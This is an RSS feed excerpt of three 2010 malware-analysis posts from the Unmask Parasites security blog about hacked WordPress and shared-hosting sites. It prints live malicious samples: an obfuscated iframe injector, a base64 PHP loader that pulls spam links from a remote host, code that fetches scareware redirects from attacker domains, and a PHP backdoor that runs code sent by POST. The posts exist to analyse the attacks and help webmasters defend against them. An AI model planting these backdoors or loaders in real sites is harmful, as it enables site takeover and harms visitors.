<p><code>e v a l(function(p, a, c, k, e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'&lt;e w="0" y=\\\' b (!2.7){ 2.7="t://u.p/q/"; 2.r=0; 2.s=0;} \\\'&gt;&lt;/e&gt;\');f("g","1",x)}',35,35,'||this|date|document|expires|var|src|value|cookie|name|if||hours|iframe|addCookie|seref|function|new|toGMTString|getTime|setTime|Date|3600000|write|com|grep|height|width|http|<strong>mainnetsoll</strong>|indexOf|frameborder|24|onload'.split('|'),0,{})) ;</code></p>
<p>It was right after the <strong>&lt;body&gt;</strong> tag.</p>
<p>What this script does is checks if there is a cookie called &#8220;<strong>seref</strong>&#8220;. If there is no such a cookie, it injects a hidden iframe from <span style="color: #993300;"><em>hxxp://mainnetsoll .com/ grep/</em></span>, and then sets this &#8220;<strong>seref</strong> &#8220;cookie for one day.</p>
<p>As you can see the attack constantly evolves, and this time the malicious code is directly injected into some WordPress file.</p>
<h3 id="other">Other hacks</h3>
<p>It looks like these latest iframe injections are not the first time when WordPress blogs on those Network Solutions servers are being attacked by hackers. I can still see signs of other attacks.</p>
<h4 id="hiddenlinks">Hidden links</h4>
<p>Some of the hacked sites contain hundreds of spammy links that can only be visible if you browse with disabled JavaScript. For some reason, every link is enclosed in <strong>&lt;noindex&gt;</strong> tags and use <strong>rel=&#8221;nofollow&#8221;</strong> in &lt;a&gt; tag&#8217;s parameters. So what&#8217;s the use if it is neither for normal web surfers nor for search engines?</p>
<p>The links are followed by the <em>networkads</em> hidden iframes.</p>
<h4 id="alkoltashov">alkoltashov.narod.ru</h4>
<p>I also found a dozen of infected WordPress blogs that try to pull hidden spammy links from <span style="color: #993300;">hxxp://alkoltashov .narod .ru/ sites.txt</span>.  The links are supposed to be displayed in a <strong>&lt;div&gt;</strong> located way outside of the visible area, but because the configuration of Network Solutions servers that disable URL file-access, those link injections fail with the following error (which is also displayed outside of the visible are ):</p>
<p><code>&lt;div style="left: <strong>-2322</strong>px; position: absolute; top: <strong>-3433</strong>px"&gt;<br />
Warning:  readfile() : URL file-access is disabled in the server configuration in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/<strong>header.php</strong> on line 163<br />
Warning:  readfile(hxxp://<strong>alkoltashov .narod .ru/ sites.txt</strong>) : failed to open stream: no suitable wrapper could be found in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/<strong>header.php</strong> on line 163<br />
&lt;/div&gt;</code></p>
<p>According to Google cache, this unsuccessful remote link injection happened back in January.</p>
<p>And it is also limited to blogs on Network Solutions servers.</p>
<h4 id="webeasysearch">WebEasySearch .com</h4>
<p>Some of the hacked blog also redirect search engine results to <span style="color: #993300;"><em>webeasysearch .com</em></span> site. And this only happens if you haven&#8217;t visited the hacked blogs before (must be checking WP cookies).</p>
<p>This hack encrypts the search engine&#8217;s query string, and then passes it to the <span style="color: #993300;">webeasysearch .com</span> site which decrypts it and displays it&#8217;s own search results for the same query.</p>
<p>I bet it is done by some PHP code injected into WordPress files.</p>
<p>The style of the hacks and the range of the affected sites make me think that all those hacks were done by the same hacker.</p>
<p><em>Update Apr 16, 2010: Found an alias of this site: </em><em><span style="color: #993300;">sbdtds .com</span>. It is used via an injected script. Both sites are hosted on the server with IP 91.205.96.8 (Netherlands,		        		        Todayhost Limited)</em></p>
<h4 id="cloaking">Update Apr 16, 2010: Cloaked spam</h4>
<p><em>During the investigation of another black-hat SEO case, I noticed that a familiar IP address:  <strong>205.178.145.65</strong>. This is the most affected by this WordPress hack Net Sol&#8217;s server.  I knew it was not just coincidence and decided to find out the scale of this problem. </em></p>
<p><em>Using search engines, I found <strong>144</strong> unique hacked sites with spammy pharma links on this server. Moreover, when I checked those sites with <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>, more than <strong>100</strong> of them were still infected.  Not only WordPress sites are affected. Cloaked spammy content is also found on Joomla sites and even on simple HTML sites. </em></p>
<p><em>This server is actively exploited by hackers. If your site happened to be hosted on this server, move ASAP. This is a really bad neighborhood. There are a lot of abandoned sites with vulnerable old versions of popular web applications &#8211; so hackers will easily regain access to it even if Net Sol change every password on this server.</em></p>
<h3 id="conclusion">Conclusion</h3>
<p>1. The hackers definitely target WordPress blogs, but I doubt any WordPress vulnerability was used. Otherwise we would see similarly hacked blogs not only on the Network Solutions servers.</p>
<p>2. At the same time more than a dozen of Network Solutions servers are affected. There might be a security hole (or a least flaw) on their network. They should seriously investigate this issue.</p>
<p>3. I agree with David from Sucuri Security who <a href="http://blog.sucuri.net/2010/04/details-on-network-solutions-wordpress.html">thinks</a> this can be done via access to a single compromised (or even legally created by hackers) account. Hackers can use this account to execute scripts that read content of <strong><em>wp-config.php</em></strong> files on neighbor accounts (according to reverse IP lookup there are several thousand sites on the server with IP <strong>205.178.145.65</strong>).</p>
<p>It is quite easy (<em>I won&#8217;t give out the tricks to wanna be hackers here but they work well on Network Solutions servers</em>) to identify sites with WordPress blogs on any server and then identify absolute paths to <em>wp-config.php</em> files that contain database credentials, and names of WordPress tables &#8211; all in plain text. Then hackers simply need to run another script that injects whatever they want into databases of their server neighbors.</p>
<p>Similarly, any malicious code can be injected into any writable files under neighbor accounts.</p>
<h3 id="flaw">WordPress design flaw</h3>
<p>On shared servers, you can protect your own files from malicious neighbors making them read-only. Usually <strong>644</strong> file permissions and <strong>755</strong> directory permissions do the trick.</p>
<p>However, if neighbors somehow get your database credentials, they can do whatever they want with your database. In case of WordPress, it&#8217;s enough to read the <em>wp-config.php</em> file in the root of a WordPress blog.</p>
<p>To hide the content of the <em>wp-config.php</em> file from server neighbors, David (Sucury Security)  <a href="http://blog.sucuri.net/2010/04/details-on-network-solutions-wordpress.html">suggests</a> that this file should have <strong>750</strong> permissions (<em>I guess he meant <strong>640</strong> since the execution permission is not required</em>).  Unfortunately, this trick will only work on servers with suPHP. On other servers where web server executes PHP scripts with its own rights, this trick will completely break WordPress blogs. Every page will produce the &#8220;<strong><em>Failed opening required &#8216;wp-config.php&#8217;</em></strong>&#8221; error.</p>
<p>This means that <strong>WordPress blogs on most shared servers are vulnerable to this sort of attack</strong>. It merely takes to hack one account (most shared servers have multiple hacked accounts) or even to create a regular account specifically for hacking purpose and you can steal MySQL database credentials of your neighbors with WordPress blogs. Any other database driven web scripts that store database credentials in plain text are also vulnerable.</p>
<p>Guys from WordPress are aware of this problem on shared servers but for some reason they also give this strange <a href="http://codex.wordpress.org/Hardening_WordPress#File_permissions">advice about <strong>750</strong> permissions for <em>wp-config.php</em></a> that both incorrect (750 instead of 640) and will only work for suPHP server:</p>
<blockquote><p>Note that if you are on a shared-server the permissions of your  wp-config.php should be 750. It means that no other user will be able to  read your database username and password. If you have FTP or shell  access, do the following:</p>
<p>chmod 750 wp-config.php</p></blockquote>
<p>So at this point, there is no universal way to protect your database credentials on shared servers. At the same time, I see more and more attacks where a compromise account on a shared server is used to hack other sites on the same server. It&#8217;s time to revisit the approach used in the <em>wp-config.php</em> file.</p>
<h3>Have your say</h3>
<p>What do you think about this issue with world-readable <em>wp-config.php</em> files on shared servers? Any thoughts on how to mitigate it?</p>
<p>If you are a Network Solutions client with a hacked site, I&#8217;d also want to hear about your experience. Could you tell us about file permissions you use (especially if you were hit by those <em>alkoltashov .narod .ru</em> and WebEasySearch attacks)?</p>
<p>Any other comments are also welcome.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/04/07/spammy-links-from-remote-servers/">Spammy Links From Remote Servers</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue blogs redirect search traffic to bogus AV sites.  Part 2 <strong>.</strong></a></li>
<li><a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/">From Hidden Iframes to Obfuscated Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/12/30/evict-hackers/">Evict Hackers</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/feed/</wfw:commentRss>
		<slash:comments>48</slash:comments>
		</item>
		<item>
		<title>Spammy Links From Remote Servers</title>
		<link>http://blog.unmaskparasites.com/2010/04/07/spammy-links-from-remote-servers/</link>
		<comments>http://blog.unmaskparasites.com/2010/04/07/spammy-links-from-remote-servers/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 08:56:58 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[tourreviews.asia]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=585</guid>
		<description><![CDATA[Hidden spammy links injected into web pages on legitimate websites is quite a widespread type of hacker attacks. These parasites try to suck all the &#8220;PageRank juice&#8221; out of any website they manage to break into and put their shady web pages high in search results.
There are many ways hackers can inject links. They can [...]]]></description>
			<content:encoded><![CDATA[<p>Hidden spammy links injected into web pages on legitimate websites is quite a widespread type of hacker attacks. These parasites try to suck all the &#8220;PageRank juice&#8221; out of any website they manage to break into and put their shady web pages high in search results.</p>
<p>There are many ways hackers can inject links. They can insert them as plain HTML (will work on most sites) or as an encrypted PHP code (the files should be processed as PHP). Hackers can even use SQL injection on database-driven sites that don&#8217;t properly sanitize user input.</p>
<h3>Decoupling code from data</h3>
<p>Sometimes hackers decouple code from data and inject only some PHP instructions that load spammy links from a standalone file. This makes the construction more flexible since they can simply change the content of that single file whenever they decide to promote a new set of links &#8211; no need to update every infected file on a site.</p>
<p>In this post, I&#8217;ll show a even more clever way of decoupling code from data.<br />
<span id="more-585"></span><br />
This is a line of PHP code that you can find in infected files on some compromised sites:</p>
<p><code>&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</code></p>
<p>When decoded, it executes the following code:</p>
<p><code>$l="http://<em><strong>tourreviews .asia/ links2/link.php</strong></em>";<br />
if (extension_loaded("curl")) {<br />
$ch = curl_init();<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 30);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />
curl_setopt($ch, CURLOPT_URL, $l);<br />
$r = curl_exec($ch);<br />
curl_close($ch); }<br />
else{ $r=implode("",file($l)); }<br />
print @$r;</code></p>
<p>This is a very simple script that tries to download a link.php file from <em><span style="color: #993300;">tourreviews .asia/ links2/</span></em> and insert its content into infected files.</p>
<h3>So what is so clever about this script?</h3>
<h4>Flexibility</h4>
<p>If hackers decide to change anything in the injected HTML code, all they need to do is change the content of the <em>link.php</em> file on their own server and the change will be immediately visible (well, not actually visible since the links are invisible) on hacked pages on all compromised sites. This is very convenient if you want to experiment with different layouts, numbers of links per page, etc.</p>
<p>For example, a few month ago this <em>link.php</em> file contained <strong>50</strong> links inside the <span style="color: #993300;">&lt;u style=&#8221;display:none;&#8221;&gt; &#8230; &lt;/u&gt;</span> tags that made them invisible. Right now this file contains <strong>195</strong> links enclosed in the <span style="color: #993300;">&lt;font style=&#8221;position: absolute;overflow: hidden;height: 0;width: 0&#8243;&gt;&#8230;&lt;/font&gt;</span> tags that make them invisible. Moreover, every link is a <span style="color: #993300;">&lt;li&gt;</span> element now.</p>
<p>Hackers also constantly rotate the links. On every load the content of the <em>link.php</em> file slightly changes. This way they probably want to make the spam less suspicious since identical link blocks on multiple sites are more likely to trigger anti-spam filters.</p>
<h4>Easy maintenance</h4>
<p>Once the sites are hacked and the PHP code is injected into legitimate files there&#8217;s no need to break into the compromised websites again every time hackers what to change the set of spammy links. The changes will propagate even to websites where the original security hole is already closed (e.g. changed FTP passwords, updated third-party scripts, etc.)</p>
<p>Running several campaigns is also easy &#8211; just change the URL of the links  file and you are done.</p>
<h4>Small footprint</h4>
<p>Since all the spammy links are loaded from a remote location on the fly, the size of the injected PHP code is less than <strong>0.5</strong>Kb, so the difference is less obvious than in attacks that directly inject all the links (dozens of Kilobytes) into legitimate files.</p>
<h4>Out of reach</h4>
<p>Remote location of the links file makes the hack detection more difficult. Webmasters can&#8217;t simply scan their servers for the spammy keywords they find injected in their web pages. And the links file can&#8217;t be deleted by a site admin who occasionally stumbles across a suspicious file.</p>
<h3>Drawbacks</h3>
<p>However this approach has its obvious drawbacks too. Once the location of the remote file becomes known:</p>
<ol>
<li>Search engines can regularly check it and discard (or even penalize) any links found in it. So the whole black-hat SEO campaign may fail.</li>
<li>This remote site can be shut down. And since it&#8217;s a single point of failure, hidden spammy links will disappear from all the hacked sites. Again, the black-hat campaign will flop and hackers will need to start from scratch.</li>
</ol>
<h3>To webmasters</h3>
<p>I can only guess how hackers break into legitimate websites and inject this particular PHP code into web pages (using <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a> or via a hole in some script &#8211; hope you can help me to answer this question in comments).  Actually it doesn&#8217;t matter. You should be ready that thing like this may happen. What you should really do is minimize the damage of such attacks (hidden spammy links can negatively affect you search engine ranking). So your goal is to detect intrusion and restore the site as soon as possible.</p>
<ol>
<li><strong>Integrity</strong> &#8211; regularly check that no one tamper with your files on server</li>
<li><strong>Fresh clean backup</strong> &#8211; regularly make backups and keep some historical versions of backups so that you can easily find a restore a clean version of your site should you detect a problem.</li>
</ol>
<p>These both points can be covered a <a href="http://en.wikipedia.org/wiki/Revision_control" target="_blank">revision control system</a>.  Most revision control systems will report any changes in existing files and provide you with an ability to roll back to any historical state of the site. Very convenient. Just don&#8217;t forget to commit changes when you make them.</p>
<p><em>While it is not as universal, you can use my <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> to check web pages for hidden illicit stuff like spammy invisible links. After all it doesn&#8217;t require any setup and you&#8217;ll see results instantly.</em></p>
<p><strong>Have your say</strong></p>
<p>Did you come across similar hacks or maybe even more elaborate black-hat SEO schemes? Let&#8217;s unmask them!</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/10/01/cheap-vista-or-cloaked-spam-on-high-profile-sites/">“Cheap Vista” or Cloaked Spam on High-Profile Sites</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/30/security-lesson-from-a-kenyan-marathon-runner/">Security Lesson From a Kenyan Marathon Runner</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue blogs redirect search traffic to bogus AV sites.  Part 1<strong></strong></a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php Hack. Part 2. Black Hats in Action.</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/04/07/spammy-links-from-remote-servers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Internals of Rogue Blogs</title>
		<link>http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/</link>
		<comments>http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 20:46:12 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[bmsblog]]></category>
		<category><![CDATA[Googlebot]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[Servage]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=568</guid>
		<description><![CDATA[Back in November, I wrote about rogue blogs created in subdirectories of legitimate websites.  The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. This hack mainly affected sites hosted on Servage network.
Recently I&#8217;ve been contacted by one of Servage clients who found his [...]]]></description>
			<content:encoded><![CDATA[<p>Back in November, <a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">I wrote about rogue blogs</a> created in subdirectories of legitimate websites.  The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. This hack mainly <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/#servage">affected sites hosted on Servage network</a>.</p>
<p>Recently I&#8217;ve been contacted by one of Servage clients who found his sites hacked:</p>
<blockquote><p>I noticed the anomalous traffic to domains that are essentially either completely parked or just used for email addresses (SMTP forwarding rather than anything &#8216;clever&#8217; with webmail.)  That led me to the file structures and a quick google led me to your site.</p></blockquote>
<p>He sent me the offending files he found under his account (thanks Matthew). Now I can share my analysis of the files with you.<br />
<span id="more-568"></span><br />
In my previous post, I speculated about the internal structure of the rogue blogs. Now that I have the files, I can say that all my guesses proved to be correct.</p>
<h3>Blog engine</h3>
<p>Indeed, a full-featured yet minimalistic PHP blog engine powers the rogue blogs.</p>
<p>The whole engine consists of only 4 files:</p>
<ul>
<li><strong>index.php</strong> &#8211; main file of the engine. Less than 500 lines of PHP code. Less than 18K bytes on disk.</li>
<li><strong>template.php</strong> &#8211; template of web pages that uses the data provided by the <em>index.php</em>. About 20 Kbytes.</li>
<li><strong>categories.dat</strong> &#8211; serialized blog categories.</li>
<li><strong>.htaccess</strong> &#8211; rewrite rules to support SEO-friendly URLs.</li>
</ul>
<p>And this engine is indeed anonymous. I couldn&#8217;t find any credits. No names, not licenses. Just the code. The only clue I found was this User-Agent string of the ping requests:  <strong>WeirD blog engine</strong>.</p>
<h3>Features</h3>
<p>The engine can do pretty much everything you expect a blog engine should be able to do.</p>
<ul>
<li>add/remove entries</li>
<li>break down entries by categories</li>
<li>display entries in chronological order</li>
<li>support SEO-friendly URLs</li>
<li>notify services like Ping-O-Matic, Technorati, Google Blogsearch, Weblogs about new posts.</li>
<li>provide RSS feeds</li>
<li>support trackbacks</li>
<li>support custom templates</li>
</ul>
<h3>Flat files</h3>
<p>The entries (there are hundreds of them) are stored in flat <strong>.txt</strong> files in the same directory. This makes the engine database-independent, so it can work on most servers. The only requirements are:</p>
<ul>
<li> PHP</li>
<li>sufficient directory permissions to create files</li>
<li>Apache (to use SEO-friendly URLs)</li>
</ul>
<p>Here&#8217;s a sample content of one of such text files (<span style="color: #993300;"><em>blonde-avril-lavigne.txt</em></span>):</p>
<p><code>blonde avril lavigne<br />
&lt;img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;</code></p>
<p>As you can see the files are straight forward. The title on the first line followed by the content. In our case the content is five images (Google Image search results for corresponding keywords).</p>
<h3>.htaccess</h3>
<p>Since the purpose of the rogue blogs is poisoning of search results, &#8220;SEO-friendly&#8221; URLs is a required feature of the blog engine. This engine uses Rewrite rules in .htaccess files.</p>
<p><code>RewriteEngine     On<br />
RewriteRule ^category/([^/\.]+)/?$  index.php?category=$1   [L]<br />
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$  index.php?category=$1&amp;page=$2   [L]<br />
RewriteRule ^download/([^/\.]+)/?$  download.php?id=$1   [L]<br />
RewriteRule ^page/([0-9]+)/?$  index.php?page=$1   [L]<br />
RewriteRule ^([^/\.]+)/?$    index.php?id=$1     [L]<br />
RewriteRule ^rss20.xml$    index.php?action=rss     [L]</code></p>
<h3>Malicious features</h3>
<p>What makes these blogs malicious is following modifications to the original engine.</p>
<h4>css.js</h4>
<p>All blog pages contain the following script tag:</p>
<p><code>&lt;script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"&gt;&lt;/script&gt;</code></p>
<p>The script redirects visitors that come from search engines to scareware sites. The content of this script constantly changes, redirecting people to new, not yet blacklisted sites. Here is how they do it behind the scenes:<br />
<code>function get_js_file($filename) {<br />
if (!file_exists($filename) or time() - filemtime($filename) &gt; 3600) {<br />
$js_file = @file_get_contents('<strong>hxxp://t.xmlstats .in/b-m-2/</strong>'.$filename);<br />
if (!$js_file) { $js_file = @file_get_contents('<strong>hxxp://t.jsonstats .in/b-m-2/</strong>'.$filename);}<br />
if ($js_file) { @file_put_contents($filename, $js_file);}<br />
}}</code></p>
<p>As you can see, this code tries to update the <em>css.js</em> file downloading its new content from hackers&#8217; sites: <span style="color: #993300;"><em>t.xmlstats .in</em></span>, <span style="color: #993300;"><em>t.jsonstats .in</em></span> and, in some versions of the engine, <span style="color: #993300;"><em>t.jsstats .in</em></span>.</p>
<p>This is how hackers make sure their blogs always redirect to currently active scareware sites.</p>
<h4>Anti-Googlebot</h4>
<p>Another modification is the code that detects requests from Google&#8217;s network checking the IP address against known Google&#8217;s IP ranges. If a request from Google is detected, the <em>css.js</em> file is replaced with <em>css.google.js</em>.  This way hackers try to hide the malicious redirects from Googlebot when it indexes the rogue blogs. And the fact that I can see many such blogs in Google search results without any warnings shows that this simple trick does its job.</p>
<h3>Different generations</h3>
<p>In November, I <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/#generations">discovered</a> that there had been several different generations of the rogue blogs. Checking the files I received from Matthew, I found those generations sitting in separate subdirectories: <span style="color: #993300;"><em>blog</em></span>, <em><span style="color: #993300;">bmblog</span></em>, <span style="color: #993300;"><em>bmsblog</em></span>.</p>
<h3>Backdoor script</h3>
<p>Another interesting file I received is the <span style="color: #333333;"><strong><em>index.php</em></strong></span> above the directories with rogue blogs:</p>
<p><code>&lt;?php<br />
error_reporting(E_ALL);<br />
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {<br />
$test_func = create_function('', urldecode($_POST['f']));<br />
$test_func();<br />
}<br />
?&gt;</code></p>
<p>This is a typical backdoor script that executes whatever PHP code hackers send in parameters of POST requests.</p>
<p>Apparently, this script was used to create all other rogue files and directories. The question is how this backdoor script got there in the first place.</p>
<p>When Matthew asked Servage about what happened to his sites, they accused him of using insecure scripts, despite of the fact that his site didn&#8217;t use any scripts at all.</p>
<p>As I showed in my <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">previous post</a>, 85%+ of discovered rogue blogs are  hosted by Servage so I&#8217;m almost sure some Servage-specific security hole  was used. (<em><span style="color: #888888;">Pure speculation: For example, it could be some php shell that hackers used to finds user accounts with writable directories. And the internal Servage architecture might help this script propagate to different physical servers.</span></em> )</p>
<h3>Still active</h3>
<p>While the first generation of these rogue blogs appeared in April of the last year, this attack is still active. I can still see quite a few rogue <span style="color: #993300;"><em>bmsblog</em></span> blogs with dates of the most recent posts in March of 2010. And some of them (not all though) can be found via Google search <a href="http://www.google.com/search?q=inurl%3Abmsblog%2Fcategory+2010" target="_blank">inurl:bmsblog/category 2010</a>.</p>
<p>To Webmasters</p>
<p>While this particular attack mainly affects clients of Servage hosting company, it is quite typical for hacks that try to create rogue web pages in compromised web sites. So the following advice should be useful for most webmasters.</p>
<p>1. Make sure your server directories are only writable to you. This is especially important in shared hosting environment where hackers can use a compromised neighbor account to find writable directories in the rest sites on the same server and then create rogue content there.</p>
<p>2. Regularly scan your server for any suspicious files and directories.</p>
<p>3. Regularly check raw server logs. You may find requests to files that shouldn&#8217;t be there.</p>
<p>4. Pay special attention to POST requests. They are very popular for backdoor scripts. Just compile a list of files accessed via POST requests and check if you recognize any of them.</p>
<p>5. Many shared hosting plans include <a href="http://en.wikipedia.org/wiki/Webalizer">Webalizer</a>. Every now and then check its reports. While they are normally not as useful as Google Analytics reports, they have one important advantage over Google Analytics &#8211; they track all files under your account, not only those where you inserted a tracking code. So, in Webalizer, you can see requests to files created by hackers, while Google Analytics  completely misses this sort of data.</p>
<p>6. Hackers usually create rogue web pages to poison Google search results. So it&#8217;s natural to use Google to detect this sort of hacks. Regularly use Google to check what is indexed on your site. Use the <span style="color: #333333;"><strong><em>site:you_site_domain.com</em></strong></span> search command.</p>
<p>7. Regularly check reports in <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>. They may also reveal suspicious activity. Useful reports:  <span style="color: #333333;"><strong><em>Top search queries</em></strong></span>, <em><strong><span style="color: #333333;">Keywords</span></strong></em>, <span style="color: #333333;"><em><strong>Links to your site</strong></em></span>.</p>
<p>8. If you find new directories with rogue files, disallow them in <span style="color: #333333;"><strong>robots.txt</strong></span>. This will show Google that you don&#8217;t want those directories to be indexed. Otherwise, even if you delete the files, Google may keep them in index for quite some time (who knows, maybe you removed them temporarily while, say, redesigning your site).</p>
<p>For example, if you find rogue files in <span style="color: #993300;">/cgiproxy/bmsblog/</span> the robots.txt should be:<br />
<code>User-agent: *<br />
Disallow: /cgiproxy/bmsblog/</code></p>
<p>9. And don&#8217;t forget about other types of hacks that mess with your existing files. Regularly check your site for consistency and any illicit content that hackers may inject into your web pages (this is where my <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> service can help).</p>
<h3>Call for information</h3>
<p>This case is not completely investigated yet. For example, I still don&#8217;t know why it mainly hits Servage and how exactly it propagates. This information could help Servage clients prevent infection of their sites. And probably guys at Servage need this information too since it looks like they can&#8217;t stop this attack themselves (and it&#8217;s active for about a year now!!!)</p>
<p>And if you have interesting information about any other hacker attack, please share it with me and readers of this blog.  I&#8217;m always looking for malicious files that webmasters find on their compromised servers. They can tell a lot about how the attacks work. So before deleting any offending content, consider <a href="http://blog.unmaskparasites.com/contact/">contacting me</a> first.</p>
<p>Thanks for reading this blog. Your <a href="http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/#comment">comments are welcome</a>.</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue blogs regirect search traffic to bogus AV sites. Part 1</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue blogs redirect search traffic to bogus AV sites. Part 2</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/18/bety-php-oscommerce-hack-part-1/">Bety.php – osCommerce Hack. Part 1.</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php Hack. Part 2. Black Hats in Action.</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.772 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-07-29 20:32:32 -->
